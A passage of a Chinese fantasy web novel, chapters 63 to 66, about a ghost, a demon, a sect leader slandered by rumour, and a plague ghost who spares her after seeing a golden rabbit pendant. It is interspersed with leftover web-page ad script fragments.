法铃其实和仙剑一样,都是用来降妖伏魔的法器。 () { $(''.inform'').remove(); $(''#content'').append('' p> 按理说阿难一介妖怪,小铃不弄死他就已经很不错了,居然还认他为主人,将保护他视为己任。 这实在很没道理,让应长恨一直百思不得其解。 阿难一本正经地回答:“因为我长得帅,特别招小铃喜欢,是吧小铃?” 虎头铃铛从疯狂作响的骂剑状态中暂停了一下,飞到主人的脸颊上亲密贴贴,以此证明他所言不虚。 泥娃娃阿福看了眼热,也凑上前想和小铃贴贴,它却满是嫌弃地闪开拒绝,继续飞回去冲着仙剑日月明重启疯狂骂剑模式。 目睹了这一幕的应长恨,煞有介事地点头道:“恐怕小铃对你不只是喜欢,没准还爱上你了,好令人感动的跨物种之恋啊!” . 晴朗的天空万里无云,湛蓝透碧得仿佛是一块巨大的蓝宝石。一道御着飞剑高速飞行的人影远远出现时,应长恨第一时间就发现了。 刚才那些仓皇逃命的修士都唯恐走得不够快,这会儿居然还有人敢来,十有八九是消息不够灵通,还不知道这里出了事。 顺着应长恨的视线眺望了片刻后,阿难认出了来者何人。 “是阴有苓来了。万象宗把摩宵宫的匾额弄到这里时,她应该是不知情,现在才得到消息赶来索回匾额。” 应长恨道:“阴有苓也算是咱们的老朋友,这块匾额和这柄仙剑,就都交由她带走好了。你觉得怎么样?” “我觉得行,就这么办吧!” 御剑飞近步云山时,阴有苓才发现此地有异。 曾经云集在此的修士都已经不见了,最高峰的锦霞峰顶更是遍布尸首,而且全是清一色皮包骷髅的诡异死相。 横七竖八的死人堆中,只有两个站着的活人。 一个是面孔苍白身材瘦削的黑袍男子,整个人如同利刃出鞘般寒光四射,令人一见生畏。 另一个却是糯米团子般雪白粉嫩的小道士,苹果脸上还挂着一朵可可爱爱的笑容,令人一看就想揉上一把。 这两个画风截然不同的人,站在一起别提多违和了,更遑论背景还是东一具西一具的死人堆。 阴有苓一时间都不知道该怎么判断局势才好。 ——为什么这么多修士死在这里?死状还如此诡异可怕? ——这是谁干的?是那个黑袍男子吗?他是何方妖孽?居然能一个人屠杀了这么多人? ——还有那个小道士又是谁?为什么会和他在一起?他们看上去不像是同一路数啊! ——这里的情况显然很不妙,那我还要不要过去呢?如果是去送死的话,那无极宗就真要完蛋了。 ——我死了宗门就彻底无人可传,必须要小心行事才行。 一大堆问题在阴有苓脑子里涌现,让她谨慎地停在半空中,与锦霞峰顶的两个人遥遥相望。 在那两个人身旁不远处的地方,摩宵宫的匾额就和仙剑日月明一块相依而立。 眼神复杂地注视着那柄仙剑,阴有苓在心底恨恨然地想:都怪它——要是它没有现世,现在哪来这么多破事? 63.招惹 对于阴有苓的顾虑,阿难不难猜出几分,仰起雪白粉嫩的小脸蛋,笑眯眯地冲她招起了手。 “阴真人,下来吧,咱们是熟人啊!” 阴有苓听得一怔:什么熟人?我认识他们吗? 仔细辩认一番后,她终于后知后觉地认出了应长恨:咦,这不是我去年在女王蜂洞穴外遇见的那个鬼嘛!他现在的气场可是完全不一样呢! 去年在女王蜂的洞穴外,前去降妖的阴有苓,正好遇上了“女王蜂”腰肢扭啊扭地带着一个男鬼走出来。 当时,男鬼自称是被女妖强抢来的受害者,一派可怜兮兮的弱鸡模样。跟眼下这副“惹我你就死定了”的霸气毕露相比,简直判若两人。 认出了应长恨后,阴有苓再打量那个小道士时,发现他细看起来也有几分眼熟。 “小师父,我以前在哪儿见过你吗?” 那个黑袍男鬼一副很不好打交道的酷拽模样,可可爱爱的粉团小道士则透着人畜无害,阴有苓自然是首选跟他沟通了。 “阴真人,我是阿难,他是阿难。我从大人变成小孩,他从小孩变成大人,所以你一时间认不出来了。” 阴有苓恍然大悟,敢情他们就是那对阔别经年的难兄难弟。阿难的妖品她还是能信得过的,立刻顾虑全消地降落在锦霞峰顶。 “原来是你们啊!你们哥俩怎么变成这样了?还有这里到底发生了什么?” “这个说来话长。” 阴有苓言简意赅地道:“那就长话短说,先挑重点讲。” 阿难看了应长恨一眼,“你说还是我说?” 应长恨给了他一个眼神,是示意他负责讲解说明的意思。 “阴真人,其实阿难就是被疫鬼厉无情栽赃陷害的厉鬼应长恨。刚才他现身锦霞峰,在场修士都想杀了他找太玄真君领赏,结果全被他反杀了。” “什么?” 阴有苓几乎不敢相信自己的耳朵,又惊又骇地盯着应长恨追问。 “你就是一直躲着不敢露面的应长恨,一露面就反杀了这么多修士?你是怎么做到的?” 阿难在一旁插嘴道:“因为他这一年可没闲着,炼制了一个很厉害的法宝。” “什么法宝?” 应长恨神色傲然地一挺胸膛。 “我的法宝威力无穷,一经驱动就能瞬间吸干活人血肉。哪个修士再敢因为梦令妄想要我的命,就是自寻死路。哪怕是陆衢本尊想来找我的麻烦,都得三思而后行。” 阴有苓知道这不是应长恨口出狂言。在无间鬼域,他是第一个炼出法宝的牛鬼,上任鬼王江天旷都没有这等能耐。 以他如今的修为实力,鬼王宝座已是他的囊中之物。 无间鬼域的鬼王,哪怕是云间仙境的帝君也不敢轻易小觑。太玄真君作为帝君麾下的武神,自然更要谨慎行事了。 . 来到锦霞峰约半个时辰后,阴有苓通过跟阿难、应长恨的详谈,终于大致弄明白了他俩的过往经历。 原来她最初认识这对难兄难弟的日子,就是在女王蜂的老巢洞口前。 之后他俩阴差阳错地再次相遇,结伴同行,在玉岭撞破了黑虎下凡吃人的秘事。 应长恨拼尽全力打败了想要杀死他俩灭口的黑虎,厉无情却跑出来捡便宜,还甩了他一口大黑锅。 被她识破是非人一族后,他们刻意隐瞒了应长恨的真实身份,有选择地透露了黑虎之死的真相,并在证据确凿后得到了她的信任,放他们离去。 那日离开玉岭后,阿难和应长恨就一起逃往步云山避风头。 结果疫鬼厉无情埋伏在那儿等着要他俩的性命,而二人也因此离散,这一年都是各自躲着过活,今天才重新遇上。 阴有苓也跟这对难兄难弟说明了,自己为何没有公布黑虎私自下凡吃人一事。 因为原本是铁证如山的山洞,突然山体塌方消失得无影无踪,她不能无凭无据就胡乱指控谁。 阿难道:“阴真人,其实这点我们也猜到了,一定是证据出了什么问题,所以你无法按照原计划将真相公布于众。” “是啊,应长恨,厉无情给你扣的这顶黑锅看来是很难甩掉了。不过,你如今炼成这等威力惊人的法宝,以后成了鬼王,别说太玄真君,哪怕帝君都不愿轻易与你为敌,就算黑虎真是你杀的也只能算了。” 两千年前,云间仙境征伐无间鬼域的一场仙鬼大战,是仙界胜出。 但那一场伤敌一千自损八百的惨胜,让现任帝君英昊再也不想轻易跟无间鬼域开战,对历任鬼王也是无意树敌的态度。 阿难也认同地点头道:“是啊,只要你不去招惹云间仙境那些神仙,他们就不会来找你的麻烦。” 应长恨却似笑非笑地道:“如果我偏偏就想要招惹他们呢?” 阴有苓愣了一下,“你说真的还是假的?” “唉呀,这话一听就是在开玩笑了,你还当真了。对了阴真人,听说你当宗主了,修真界第一位女宗主呢,恭喜啊!” 阿难很自然地转移了话题,阴有苓听得苦笑了一下。 “有什么可恭喜的?我这个宗主当得太憋屈了,没人肯承认也就罢了,甚至还被人欺上门来抢走了仙府的匾额。无极宗传到我手里,算是没落得不能再没落了。” 应长恨一指道:“匾额在此,你可以带回去了,顺便把仙剑日月明也一起带走。” 阴有苓下意识地摇头,“仙剑我不要,它就是一个惹祸的根苗,还是让它留在这儿吧!” 阿难却道:“阴宗主,你也说了,这柄仙剑就是一个惹祸的根苗。今天崇义真人利用摩宵宫的匾额拔出仙剑的事,很多人都看见了。如果它继续留在步云山,以后无极宗的仙府匾额还不知道有多少人想要‘借用’呢,你能应付得过来吗?” 阴有苓倒没想到这一茬,怔了一下后又道:“可是我把仙剑带回去,觊觎它的人还不是会来无极宗找麻烦,我也应付不来呀!” “非也非也, () { $(''.inform'').remove(); $(''#content'').append('' 仙剑乃通灵之物,眼下正在苦苦等着主人来寻它。一旦灵识得知自己身处无极宗仙府、主人原来的家,也就是主人最有可能出现的地方,那就谁也别想把它带走,如果强抢的话肯定会遭到它的攻击。所以你把仙剑带回去,对无极宗只有好处没有坏处,谁再敢上门抢剑,直接让仙剑收拾他们就完事了。” 阿难长长的一通话说完后,阴有苓将信将疑地盯着他问:“真的吗?你一个妖怪,怎么对仙剑这么了解?” 武神的神兵极少会流落人间,失去主人的神兵会是什么作派,从来都没人知道。 阿难对答如流,“因为我刚才就被它攻击了。所以我个人推测它如果不愿意离开某个地方,肯定没人能勉强它的。” “你是妖,它会攻击你太正常不过了。如果不是妖魔鬼怪一类的话,恐怕就未必了。” “反正你先带回去试一试嘛,如果有用的话,你就不用烦了对吧?” 权衡一番利弊后,别无他法的阴有苓只得点头道:“行,那就试试吧!” 如果不把仙剑日月明带回无极宗,而是任由它继续扎根步云山,那么其他宗门跑来摩宵宫,强行“借用”匾额的事肯定还会一再发生。 与其那样,阴有苓倒不如试试看,这柄思主心切的仙剑,是否果真能够成为摩宵宫的镇宅之宝。 . 阴有苓一人一剑飞向步云山时,许多刚刚仓皇逃入临海县的修士都看到了,但是没有人愿意去提醒她。 之前发生在锦霞峰顶的一切,让不少人都几乎吓破了胆,谁也不愿意再冒险靠近步云山。 谁知道那个厉鬼会不会又搞一出“大变死人”的黑气攻击,到时候可未免会有机会第二次逃出生天。 至于那个不知就里一头闯进去的女修,就算她自己倒霉,出门没看黄历吧! 临海县中,不少修士都留在这里喝酒压惊。这座小城虽然就在步云山附近,但安全系数还是有保障的。 如果厉鬼跑来这里大开杀戒屠戮普通百姓,势必会惊动云间仙境,将导致武神下凡征讨。 只要他稍微有点脑子,都不会干这种自树强敌的蠢事。 所有目睹了阴有苓御剑飞入步云山的修士,都以为她将百分百死定了。 有人认出了她,“那个好像是无极宗的阴有苓,她应该是去找崇义真人要回摩宵宫的匾额。” 有人摇头叹气,“那她去的可真不是时候,不但匾额要不回来,还要枉送性命。” 还有人半真半假地问起了一位修士。 “袁真人,你上回不是说她是个美人吗?眼看着美人要去送死了,你不打算英雄救美一下?” 那位袁真人掂得出自己几斤几两,无可奈何地摇了摇头。 “算了吧,从厉鬼手里英雄救美,我自问没有那个能耐,还是保全自己的小命要紧。” 半个时辰后,当阴有苓御剑飞行的身影再次出现在蓝天中,见到这一幕的修士们,眼珠子几乎齐刷刷掉了一地。 64.放狗屁 他们原本都以为阴有苓肯定也会变成皮包骷髅的死人,没想到她却活蹦乱跳地走出了步云山,手里还横抱着摩宵宫的匾额。 “不是吧,她怎么没死呢?” “是啊,阴有苓的修为肯定比不上崇义真人,连他都被黑气变成了死人,她又是怎么活下来的?” “应该是厉鬼已经走了吧?不然她不可能活得下来。” 如果应长恨已经走了,那么步云山上就安全了。 仙剑日月明不知还在不在呢?之前阴有苓对于拔剑毫无兴趣,没准会把仙剑留下来。 如果是这样的话,那岂不是谁又有机会带走仙剑了? 一些心思再度活泛起来的修士,又壮着胆子再次御剑上山,想确认一下仙剑是否还在锦霞峰顶。 如果是的话,那他们也打算去“借用”摩宵宫的匾额了。 锦霞峰顶,应长恨的身影依然存在。 一身黑袍几乎与黑色岩石熔为一体,被山风掀起的衣袍下摆,就像一只黑鹰在振翅飞舞。 只是远远望见了那一角黑袍,那些重新御剑上山的修士,就像耗子见了猫似的吓得不轻,忙不迭地又赶紧撤了。 “奇怪,既然应长恨没走,那阴有苓怎么没死呢?” “只有一个解释,厉鬼不想杀她。” “难道厉鬼不杀女人吗?” “谁知道,也可能是厉鬼看上她了,毕竟她模样还是挺标致的。” “这点倒是很有可能,阴有苓虽然女人味欠缺了一点,却是一个不可否认的美人呢!” “嗯,厉鬼不杀她,只有可能是这个原因了——英雄难过美人关,鬼雄看来也一样。” “如果是这样的话,那阴有苓刚才在步云山呆了半个时辰,会不会已经跟厉鬼有了什么不可告人的关系?” 说这话的修士,脸上是一种“什么关系相信你们都懂的”的暧昧表情,其他人大都也露出同样暧昧的神色。 唯有那位袁真人直摇头。 “无凭无据的事就不要胡乱猜测了。阴有苓是那种性格很刚强的女人,当初对着崇义真人都不假辞色,想来也不会为了活命就屈从于厉鬼的淫威。除非有确凿证据,否则就别轻易败坏人家的名声。” 有人阴阳怪气地道:“袁真人,你之前都不敢冒险去提醒她,这会儿倒替她说起话来了?” “我是不敢冒险去救人,毕竟自己的性命更要紧,可实事求实说句话的勇气我还是有的。请问你们是亲眼看见她和厉鬼发生了不可告人的关系吗?如果没有的话,就不要随便往女儿家身上泼脏水。” 其他修士虽然被问得无法不哑然,但心里还是不以为然。 一行人离开步云山后,相关的流言如风过树梢一般,迅速在无数根舌头上传开了。 . 当初阿难当哥哥,应长恨当弟弟的时候,他负责养活这个便宜弟弟,养得生活质量一点也不高。 如今情况掉过来,应长恨负责养阿难,生活质量的档次却提升了一大截。 他首先就兑现了自己当初说过的话:“我要是有钱的话,绝对请你住上房。” 在禹杭城一家最好的客栈,应长恨要了一间最好的上房,还点了一桌最贵的酒菜,盛情款待“小道士”阿难。 “哇,这么壕,你是在哪里发财了?” “在东海捞到了不少上等明珠,随便变卖一颗就能换回不少钱。” 阿难一边满嘴油汪汪地啃着一只烧鸡腿,一边了然于心地问:“这一年来,你就是躲在东海里头炼制法宝吧?” 应长恨一点也不讶异,“我就知道你一定能猜得出来,你这个小妖,精得很。” “之前东海突现异象,从海底冲出的巨大水柱同时交织着黑气与神光,应该就是你的法宝炼成之时吧?” “没错,那就是我大功告成的时候。” 当初,应长恨和阿难在步云山的地下暗河分散后,独自一人随波逐流来到东海。 他原想游向海中洲方向,却在途经一片海域时,察觉到此处有隐约的灵气。 循着那丝似有若无的灵气,应长恨以魂体形式深入海底,发现了一座有利于修炼的灵山。 这座不被人打扰的海底灵山,正适合他专心炼制自己的法宝,遂改变计划在这儿呆着,间接当起了水鬼。 一年的海居岁月后,应长恨终于成功炼就了自己的法宝。 而他也后知后觉地意识到,自己炼制法宝的海底灵山,极有可能是仙剑日月明形成的落剑峰。 神兵乃武神的兵器,被封印后神光不复、灵气犹存,化作山峰时自然是有灵脉的灵山。 “那天阿福炼成时,在海底爆发了巨大的冲击波,可能因此导致仙剑的封印有所松动,所以海水冲上天空形成的水柱中,黑气与神光都隐约闪现。我发现那是神兵的神光后,这才意识到这座灵山的前身可能是仙剑日月明。” 近千年来,唯有一位遭贬武神的神兵沦落人间,应长恨很自然地做出了这一推断。 “仙剑化为落剑峰,还间接助你炼成了法宝,你也算是否极泰来,倒霉了那么久,运气终于翻盘了!” 应长恨沉默不语,眼睛有些惘然地注视着窗外,不知道在想些什么。 . 人间蒸发了一年的厉鬼应长恨,突然在步云山高调亮相,还利用一件法宝秒杀了锦霞峰顶的所有修士。 这个消息跟仙剑日月明的现世一样,迅速传遍了三界。 听闻此事后,越君朴终于恍然大悟,知道那日东海异象发生时,黑气与神光并存的矛盾现象是怎么一回事。 原来如此,仙剑的封印松动,看来跟这个厉鬼大有干系。 想明白这一点的仙官,不只越君朴一个。陆衢和温且惠夫妇二人,也迅速把应长恨的法宝和仙剑的问世直接挂上了钩。 温且惠道:“看来应长恨消失的这一年,应该是躲在东海里头炼法宝。偏巧被封印的仙剑也掉进了东海,法宝练成时的威力导致封印松动,所以黑气和神光一起出现在水柱中。” 陆衢点头道:“是啊,原本还以为应 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 长恨已经全盘皆输,没想到他却突然逆风翻盘。鬼王的宝座,如今非他莫属了。厉无情一定要气疯了,功败垂成的滋味可不好受呢!” “五郎,你觉得厉无情会甘心就此落败吗?” “我觉得不太可能,疫鬼要是那么容易放弃,根本成不了四大恶煞之一。他一定还会设法找机会搏上一搏的。” . 紫衡殿中,帝君英昊刚刚听完郦子微对这件事的奏报。 步云山位于江南,山上发生这等大事,自然也惊动了本土神仙。武神钟离斐还在卧床养伤,殿前奏报的差事,就由文神郦子微顶上了。 英昊听得饶有兴致。 “厉鬼突然出现,还有了这等能耐,那疫鬼想当鬼王可就没门了。但他肯定也不会服气就此功亏一篑,这两个鬼之间应该还会有一场内斗。” 无论疫鬼厉无情还是厉鬼应长恨,都是胆大妄为的家伙:一个敢格杀神仙座骑;一个敢用毒箭暗算仙官。 他们二人无论哪一个当上鬼王,对云间仙境估计都没有什么好处。如果能够自相残杀,甚至是同归于尽,那就是英昊喜闻乐见的事。 “帝君所言极是,我也是这么想的。” “弘文真君,那你留心一下鬼域那边的情况吧。如果有需要,不妨去加把柴添把火,让他们两个好好斗上一场。” 如果疫鬼和厉鬼斗得两败俱伤,鬼王的宝座就要轮到魅鬼坐了。 朱颜悔一介女流,在四大恶煞中实力稍逊一筹。如果是她上位,对于云间仙境就构不成多大的威胁。 郦子微领命道:“是,帝君的意思我明白了。” . 那天阴有苓从步云山毫发无伤地回来后,关于厉鬼应长恨是看上了她所以才不杀她的流言,就四下传得沸沸扬扬。 最离谱的说法是,当日在锦霞峰顶,她主动宽衣解带与应长恨春风一度,以此换取活命的机会。 传这些话的人说得那叫一个绘声绘色,就好像是他们亲眼所见一般。 “我呸,是什么狗东西这样乱放狗屁?太可恶了!” “那些家伙的嘴都是舀大粪吗?怎么说出来的话这么恶心人呢?” “恶心别人也就算了,居然恶心到我们大师姐——不对,我们宗主头上来了,她才不是那种自轻自贱的人。” “没错,我们宗主是绝对不会为了活命出卖自己的,她只会血战到底。” “那些乱说话的王八蛋,我咒他们一个个舌头生疮活活痛死。” 以阿宽为首的几个无极宗弟子都气得七窍生烟,恨不得把那些乱嚼舌根的人的嘴巴统统撕烂了。 阴有苓自己倒是无所谓。 自从三年前晁定武在婚礼当天不辞而别,留下她这个没有新郎倌愿意迎娶的新娘,成为人们茶余饭后的谈资这种事,她早就已经习惯了。 不过这一次,关于阴有苓的闲言碎语可要难听多了。 上回她在成亲当日惨遭抛弃,好歹还能赢得不少人的同情,这回却是事关女子最重要的名节。 65.挂坠 很多人都认为,如果阴有苓真是靠主动献身从厉鬼手中苟且偷生,那实在太不应该了。 一个修仙向道的女修,怎么能做出这种事?宁可堂堂正正的战死,也不能活得这般下作下贱啊! 这种无凭无据的流言,如果是落在其他女修头上,大家一般私下说说闲话也就罢了。 可是仙剑日月明被阴有苓带回了无极宗,那就是另一码事了。 仙剑日月明是神兵,神兵隔三差五就会闪现神光,就算阴有苓有心要瞒都瞒不住。 这些天,每天都有“正义感爆棚”的修士,高举着道德旗帜跑来摩宵宫声讨阴有苓,说她与厉鬼应长恨的关系可疑,不配持有仙剑日月明。 阴有苓都懒得听他们那些冠冕堂皇的说辞。 “少废话,你们不就是想要那柄剑吗?就在正殿门口插着呢,有本事自己去拿。” 所有怀着同样目的而来的修士,都无一例外遭到了仙剑日月明的攻击,吃瘪吃大发了。 类似的猴戏每天都会上演好几出,阴有苓后来都不露面,只让阿宽去应付。 他们几个小弟子倒是看戏上了瘾,特意准备了瓜子花生板凳,天天守着看那些人吃瘪,可谓是百看不厌。 . 夜已深,人已静。摩宵宫中,除了阴有苓的屋子里还亮着灯,其他人都早就熄灯睡下了。 阴有苓刚沐浴完不久,一头湿漉漉的长发尚未晾干,仅穿一套白色亵衣,独自坐在床沿,就着一盏银灯读着一封信。 那封信是晁定武离开前留下的,她已经翻来覆去看了无数遍,上面的每一个字都谙熟于心。 忽然一阵阴风袭来,红豆似的灯焰几乎被吹灭。 阴有苓警觉地伸手去抓搁在枕畔的重剑,可一支白翎箭却比她更快一步,闪电般从她眼前划过后钉入她的手背,将那只右手和床板牢牢钉在了一起。 那支白翎箭,让阴有苓不由自主地倒抽了一口冷气,眼皮像受了惊的蛾子般簌簌直颤。 鬼箭幽厄,疫鬼厉无情为什么找上她了?而且第一招就先废了她的右手,不想给她任何自卫或反击的机会。 一道人影穿墙而入,阴有苓强忍着右手钻心的剧痛抬头张望。 望见了一位白衣如雪温润如玉的美男子,正冲着她笑得彬彬有礼,似乎射伤她的那支箭,跟他没有一文钱关系。 “你就是疫鬼厉无情,为什么无缘无故跑来暗算我?” 厉无情温文尔雅地含笑道:“阴宗主,听说你和厉鬼关系匪浅,我十分好奇,就特意过来瞧上一瞧。果真是个美人呢,难怪厉鬼舍不得杀你,真是情有可原。” 阴有苓忍不住大骂道:“放狗屁,我跟应长恨才不是外头乱传的那种龌龊关系。” “没有吗?厉鬼眼看就要当上鬼王了,如果你真是他的女人,弄死你我还有些顾忌。如果不是的话,那我今晚可就没有理由放过你了。” 厉无情翻脸比翻书还要快,原本洋溢在脸上的微笑,瞬间就变成了杀气腾腾的表情。 迎视着他阴森狠戾的目光,阴有苓毫不畏惧地冷笑。 “厉无情,你今晚会跑来找我,无非就是听说了那些不堪的传言,想要确认是否真有此事。如果是,你就打算抓了我去威胁应长恨对吧?你打错算盘了,我不是他的女人,也就成不了他的软肋。你有本事就直接找他硬拼,别用这种卑劣下作的手段,我还能无视你这副不男不女的尊容,敬你是个爷们。” 阴有苓明明处于劣势,一身骨头却硬得很,嘴巴更是不饶人。不但没说半句软话求饶,还直接戳起了厉无情的肺管子。 滔天的怒气一瞬间就把厉无情的双眼如蜡烛般烧红了,他像一头疯狂的恶狼,扑上前扼住了阴有苓的颈部。 他没有一把就拧断那个纤细的脖子,而是五指缓缓加重力量,看着她因失血而苍白的面孔一点点紫胀起来,慢慢陷入痛苦万分的窒息中。 阴有苓本能地挣扎着,但是那点挣扎,就如同一只落入狼爪的兔子般徒劳无功。 她一身力气已然成灰,周围一切开始变得模糊起来,即将把她卷进一个永恒而漫长的黑暗世界。 ——我要死了吗?疫鬼你给我等着,我死后一定要化作厉鬼找你报仇。 . 突然间,钢铁般死死扼住阴有苓喉咙的那只手松开了。 大量空气迅速涌入气管时,把她呛得趴在床沿上剧烈咳嗽不止。 每一声咳嗽都带着痛楚,除了喉咙痛得要命,仍然被幽厄箭牢牢钉住的右手更是痛得要命。 厉无情一动不动地站在床头,笼罩在阴有苓头上的身影,是属于死亡的阴影,带着令人胆寒的力量。 “这个东西——你哪来的?” 厉无情问了一个很奇怪的问题,阴有苓一边虚弱无力地呛咳着,一边下意识地抬头张望,望见他手里握着一个拴在红绳上的挂坠。 那是一个拇指大小的金兔挂坠,实心足金,光芒闪烁。小金兔圆嘟嘟胖乎乎的,看上去憨态可掬。 兔子的两个耳朵间镌刻着一朵五瓣的梅花,胸口处雕着一个篆体的“苓”字。 刚才阴有苓拼命挣扎时,亵衣的领口中无声滑出了这枚金兔挂坠。 厉无情一眼瞥见,仿佛被一道强光刺中,不由自主地双眼一眯。 脑子还在迟钝缓慢的反应中,手已经自动做出判断,立刻松开扼在阴有苓颈部的五指,一把拽下了那根红绳拴着的金兔挂坠。 阴有苓没有立即回答,因为喉咙还疼痛得发声困难。她也不明白厉无情为什么会对这个挂坠感兴趣,疑惑不解地看着他。 “快说。” 厉无情发狂似的嘶吼了起来,他的耐心原本就不多,此刻更是像纸一样薄,随时可能裂成碎片。 “娘胎里带出来的,爹娘说,我出生时手里就抓着它。” . 多年前,阴有苓从阴夫人肚子里呱呱落地时,粉白的小拳头中握着一只金灿灿的小金兔。 这个宝贝闺女的生肖就属兔,还自带了一只小金兔出生,让阴氏夫妇又惊又喜。 阴有苓 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的名字,就来自小金兔上雕着的“苓”字。 血像潮水般轰的一下涌上头来,汹涌澎湃地扑打着厉无情的太阳穴。心脏也像一面被疯狂擂打的鼓,原本锋利无比的眼神突然就钝了下去。 “你说什么?再说一遍。” “我出生时手里就握着这个小金兔,它是我从娘胎里带出来的。” 厉无情蹲下来,一瞬不瞬地注视着阴有苓的面孔,专注的眼神似乎是想要从中寻找什么痕迹。 她没有躲避他的目光,反而定定地,深深地,锥子似的盯着他看回去。 “我爹说,这个吊坠应该是前世之物,与我羁绊颇深,所以带来了今生。你认识它吗?” 厉无情当然认识了。 这个金兔挂坠当年由他亲手绘出图样,再交由西郢国最好的金匠打制,天下仅此一枚,送给了独一无二的…… 记忆如决堤的洪水般凶猛无比地涌来,差一点把他卷走。他感觉自己仿佛被冰冷刺骨的寒流淹没了,浑身抖得像一片秋风中的落叶。 阴有苓趁此机会蓦地发难,左手抓住那支钉透右手背的白翎箭一把拔出来,强忍剧痛直刺厉无情的胸口。 如果有机会当场报仇的话,她又何必再等以后呢? 厉无情虽然身心巨震、神思恍惚,但多年来在无间鬼域炼就的敏锐反应,让他本能地迅速后退。 不过那支鬼箭还是刺入了他的胸口寸许,所幸并未造成致命伤。 一击得手的阴有苓,扭头又去拿那柄重剑。 可是受伤的右手无法负重,换成左手握剑再回头时,愕然发现厉无情已经不见了。 阴有苓原本还打算跟厉无情殊死一搏。她虽然刺伤了他,但伤势并不重,接下来还有一场硬仗要打。 万万没想到,这个鬼家伙居然一声不吭地消失了。 疫鬼厉无情其人,手段可以多阴损,心肠可以多狠毒,阴有苓已经通过亲身经历对此有了充分认知。 他绝不是那种会突然大发善心的人,之所以改变主意不杀她,甚至不计较被她刺伤的事,只能是跟那个金兔挂坠有关。 ——难道我前世跟他有什么瓜葛吗?不会吧?我上辈子怎么会认识这么一个不男不女心狠手辣的混蛋呢? . 太平岛偏僻无人的海滩上,一道白色身影在黑夜中无声幻出。 那是刚被阴有苓刺伤的厉无情,胸膛上还扎着一支白翎箭。令三界无数人胆寒的鬼箭幽厄,这还是破天荒地头一回刺在自家主人身上。 厉无情拔出扎在胸口的鬼箭随手一扔,他没有流血,鬼是没有鲜血的。 然而他的脸色却如大量失血般惨白无比,脆弱得像张轻轻一捅就会破的纸。双腿似乎也不足以支撑身体,整个人摇摇欲坠。 当他终于坠下去后,倒在沙滩上蜷成一团瑟瑟发抖的身子,像个碎了一地的破瓷瓶。 夜风中,飘起了一阵呜呜咽咽的哭声。 那声音听起来筋疲力尽,凄凉又悲惨,孤独而绝望,仿佛是一只走失的猫。 66.不需要 厉无情夜闯摩宵宫的第二天,阿难也登上了太平岛。这一回,是他名正言顺地跑来无极宗做客。 阿难已经恢复了成人外形,不再是之前那副把“穷光蛋”三个字顶在脑门上的寒酸书生模样。而是从头到脚一身簇新的衣裳,摇身一变成了一位锦衣玉带的公子哥。 阴有苓见了都有些意外,“哟,你今天怎么穿得这么光鲜?” 阿难一身新衣裳不是普通的华服,而是以色泽光丽灿烂、美若天上云霞的云锦裁成。 手工也十分精细考究,完全可以作为上贡的贡品。哪怕是完全不懂行的人,也能一眼看出是名贵之物。 阿难笑眯眯地回答道:“我现在可是有人包养的妖,吃穿用度的档次都上去了。” “不是有人包养,而是有鬼包养吧?” “阴宗主说得对,包养我的大金主,可不就是应长恨那个鬼嘛!” 应长恨是一个相当合格的大金主,在自己当哥哥、阿难当弟弟这几天,养得他的生活质量那叫一个高,衣食住行统统都是最好的。 反正他手头有钱,又舍得花钱。 阿难终于变回青年后,应长恨领着他一起光顾了禹杭城最好的绸缎坊,两个人都量身订制了几套新衣。 穿上新衣的那天,应长恨看着阿难半真半假地笑道。 “还以为你小子穷酸惯了,穿上这种名贵衣物会露怯呢!没想到你穿破衣裳时虽然像乞丐,换上一身好衣裳倒又像贵公子了。” “哪里哪里,都是阿难弟弟你给我买的衣裳抬人,谢谢了啊!” “衣裳抬不抬人,也得分人。有些人穿上龙袍也不像太子,你却是穿什么衣裳就像什么人。” 高贵华丽的衣物,既能抬人也能压人,区别在于能不能驾驭它们。 如果能,那么衣裳就是衬托人物的工具,衬得人光彩夺目; 如果不能,那么衣裳就会喧宾夺主,反过来把人压得黯淡无光。 一身华服的阿难,那叫一个神采飘逸、秀色夺人。 应长恨看得心想:这家伙换了一身新行头,倒像生来就是非富即贵的公子哥,从来没有尝过丝毫人间疾苦似的。 . 阴有苓请阿难进屋喝茶时,他才发现她背在身后的右手被包扎起来了,一目了然受了伤。 “咦,阴宗主,你怎么受伤了?” “昨晚被疫鬼射了一箭。” 阴有苓说得轻描淡写,阿难听了却无法不大吃一惊。 “什么?厉无情跑来找你的麻烦了!那你是怎么从他手里活下来的?” 以厉无情如今的实力,连武神下凡都能被他暗算受伤。 阴有苓区区一位凡界修士,绝对不是他的对手,能够幸免于难,实在不可思议。 “我之所以能活下来,是因为一个吊坠。” 阴有苓把昨晚发生的事大致跟阿难说了一遍,他认认真真地听完后,得出了与她一致的猜测。 “照这么看,你前世和厉无情肯定有什么关系。” “我也是这么想的,上辈子我应该认识这个不男不女的家伙,就是不知道究竟是什么关系。听说云间仙境有一面前生镜,能照出前世种种,可是我一介凡人又上不去。” 阿难随口道:“上去了也没用,那座石镜屏只有满月之夜才能照前生,能不能照出来还得看运气。运气好或许能照出几个画面;运气不好啥也没有。” “是吗?你怎么这么清楚?” “我也是听说的,不一定对啊!别管那面镜子了,反正它也指望不上,咱们不如自己分析分析吧!” . 阿难开始头头是道地给阴有苓分析起来。 “厉无情能够因为那个小金兔,在你反攻时伤了他都不杀你,那你们前世肯定不只是认识那么简单,关系应该还很亲密。你也许是他的姐妹或者妻子,还有可能是他娘亲。” 阿难异想天开的推断,听得阴有苓又好气又好笑:“我怎么还成他娘亲了?” “不排除这种可能性,是吧?” “为什么是娘亲而不是父亲?今生我是女子,前世没准是男儿身呢?” 阿难却斩钉截铁地摇头道:“不可能。” “为什么不可能?” “因为那枚小金兔吊坠上是一只戴花的兔子,只能是女子的饰物。” 厉无情原本想要辣手摧花扼杀阴有苓,却在见到她随身佩戴的金兔吊坠后心神大乱,即使因此中了她一箭也没把她怎么样。 阿难自然是高度关注造成这一切的金兔吊坠,仔细询问了有关它的所有细节。 阴有苓想想也是,“如果我前世真是他娘亲,他如今变成这副鬼样子,那我是不是可以管教一下儿子呢?” “如果他服你管的话,你想唱一出三娘教子自然没问题。但如果你前世是他妻子,今生他想和你鸳梦重温,你打算怎么办?” 阴有苓差点一蹦三尺高。 “他想都不要想。上辈子的事别扯上这辈子,总之今生的我不认识他,跟他没有丝毫关系。他要是想硬来,我一定跟他拼命不可。” 